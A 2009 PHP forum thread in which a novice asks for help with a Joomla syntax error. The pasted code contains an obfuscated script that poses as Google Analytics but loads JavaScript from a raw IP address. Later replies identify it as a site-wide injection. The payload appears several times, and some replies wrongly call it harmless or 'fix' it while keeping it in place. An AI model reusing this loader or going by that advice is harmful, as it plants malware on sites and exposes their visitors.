tcm1968 Posted June 14, 2009 Share Posted June 14, 2009 Any help would be FANTASTIC. Getting syntax error at line 89 and not seeing it. Maybe been up too long thanks in advance. /** * RENDER THE APPLICATION * * NOTE : */ $mainframe->render(); // trigger the onAfterRender events JDEBUG ? $_PROFILER->mark('afterRender') : null; $mainframe->triggerEvent('onAfterRender'); /** * RETURN THE RESPONSE */ echo JResponse::toString($mainframe->getCfg('gzip')); <?php echo '<script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-7623457-2"); pageTracker._trackPageview(); } catch(err) {}</script>'; ?> Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/ Share on other sites More sharing options...
Ken2k7 Posted June 14, 2009 Share Posted June 14, 2009 In that whole echo statement, every single quote other than the opening and closing single quotes need to be escaped. Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-855382 Share on other sites More sharing options...
Maq Posted June 14, 2009 Share Posted June 14, 2009 Yikes... Talk about format and indentation. Makes debugging, coding, hell, makes everything easier. Please surround your code with tags as well. Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-855385 Share on other sites More sharing options...
tcm1968 Posted June 14, 2009 Author Share Posted June 14, 2009 Should have added this to start. TOTAL newb with PHP. I handle content and someone else does this stuff but is unreachable right now. Just trying to get site back online without hacking too much of his code even if it's not exactly poetry /** * RENDER THE APPLICATION * * NOTE : */ $mainframe->render(); // trigger the onAfterRender events JDEBUG ? $_PROFILER->mark('afterRender') : null; $mainframe->triggerEvent('onAfterRender'); /** * RETURN THE RESPONSE */ echo JResponse::toString($mainframe->getCfg('gzip')); <?php echo '<script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-7623457-2"); pageTracker._trackPageview(); } catch(err) {}</script>'; ?> Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-855388 Share on other sites More sharing options...
tcm1968 Posted June 14, 2009 Author Share Posted June 14, 2009 Should have added this to start. TOTAL newb with PHP. I handle content and someone else does this stuff but is unreachable right now. Just trying to get site back online without hacking too much of his code even if it's not exactly poetry Again thanks for looking at this /** * RENDER THE APPLICATION * * NOTE : */ $mainframe->render(); // trigger the onAfterRender events JDEBUG ? $_PROFILER->mark('afterRender') : null; $mainframe->triggerEvent('onAfterRender'); /** * RETURN THE RESPONSE */ echo JResponse::toString($mainframe->getCfg('gzip')); <?php echo '<script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-7623457-2"); pageTracker._trackPageview(); } catch(err) {}</script>'; ?> Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-855392 Share on other sites More sharing options...
Maq Posted June 14, 2009 Share Posted June 14, 2009 Should have added this to start. TOTAL newb with PHP. I handle content and someone else does this stuff but is unreachable right now. Just trying to get site back online without hacking too much of his code even if it's not exactly poetry Hey everyone starts somewhere, and we're here to help. Try to implement what Ken has suggested and if the error remains or a new one pops up, post back with the correct info (exact errors and relevant code). There are also IDE's and sites that will automatically format your code for you. Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-855393 Share on other sites More sharing options...
tcm1968 Posted June 14, 2009 Author Share Posted June 14, 2009 Afraid even "ecsaping" is out of my realm on know how. Thanks for the feedback Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-855402 Share on other sites More sharing options...
Maq Posted June 14, 2009 Share Posted June 14, 2009 Afraid even "ecsaping" is out of my realm on know how. Thanks for the feedback Have a read here - Strings. And you should also have a read on another affiliating topic - PHP Interpolation. Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-855405 Share on other sites More sharing options...
tcm1968 Posted June 14, 2009 Author Share Posted June 14, 2009 Thanks for the links. Looking at them now. Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-855412 Share on other sites More sharing options...
tesla Posted June 15, 2009 Share Posted June 15, 2009 More important then how to fix this code is how was it put there. My site when down this morning while I was gone, I had this script inserted in every index page. I have not found out how access was gained yet still looking. Google UA-7623457-2, I think your site was hacked or injected. Tesla Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-856006 Share on other sites More sharing options...
haku Posted June 15, 2009 Share Posted June 15, 2009 Mate, that's google analytics. If it had been hacked, you would see it all over the news. Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-856034 Share on other sites More sharing options...
tesla Posted June 15, 2009 Share Posted June 15, 2009 I didn't say google was hacked, I said that the code inserted was hacked. I had this inserted on every index page on my site. look here. http://www.phpbb.com/community/viewtopic.php?f=46&t=1647035 search UA-7623457-2 and there are more and more sites reporting this being inserted. <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E")); </script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-7623457-2"); pageTracker._trackPageview(); } catch(err) {}</script> lAnd I did not put it there nor is that my google tracking id Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-856149 Share on other sites More sharing options...
Skepsis Posted June 15, 2009 Share Posted June 15, 2009 So, it looks like you have the php tags where you don't need them, why would you have php echo the <script> when html can handle that? I revised your code, and put the tags in their appropriate place: <?php /** * RENDER THE APPLICATION * * NOTE : */ $mainframe->render(); // trigger the onAfterRender events JDEBUG ? $_PROFILER->mark('afterRender') : null; $mainframe->triggerEvent('onAfterRender'); /** * RETURN THE RESPONSE */ echo JResponse::toString($mainframe->getCfg('gzip')); ?> <script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-7623457-2"); pageTracker._trackPageview(); } catch(err) {}</script> Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-856151 Share on other sites More sharing options...
deadpoetic Posted June 15, 2009 Share Posted June 15, 2009 Hey, I'm having the same problem! It's really freaking me up, I've back up all my old files on the server, and still, 1 hour later, it was back. Now i've uninstall google analytics from my website since it seem to be related. I'll post news if it has worked! Hope someone find a solution. Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-856391 Share on other sites More sharing options...
tesla Posted June 15, 2009 Share Posted June 15, 2009 What is your web sites backend ? joomla, an other CMS and Bloging software ? turn on your different logs, php and ftp. I don't know much, but that is where i would start. Quote Link to comment https://forums.phpfreaks.com/topic/162094-parse-error-syntax-error-unexpected/#findComment-856454 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.